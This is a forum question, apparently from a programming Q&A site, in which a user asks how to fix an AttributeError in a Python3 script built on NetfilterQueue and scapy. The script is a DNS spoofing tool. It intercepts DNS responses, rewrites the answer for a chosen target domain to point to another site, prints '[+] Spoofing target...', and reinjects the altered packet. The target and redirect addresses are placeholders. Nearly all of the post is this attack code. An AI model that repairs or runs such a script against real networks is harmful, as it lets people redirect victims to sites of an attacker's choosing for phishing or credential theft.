I am trying to alter the payload of a packet using NetfilterQueue and Python3 however, I get the error:
AttributeError: 'netfilterqueue.Packet' object has no attribute 'set_payload'
Below is the code I am using. How can I rectify the error?
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = str(scapy_packet[scapy.DNSQR].qname)
print(qname)
if "<web_address>" in qname:
print("[+] Spoofing target...")
answer = scapy.DNSRR(rrname = qname, rdata = "<web_site>")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].chksum
del scapy_packet[scapy.UDP].len
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()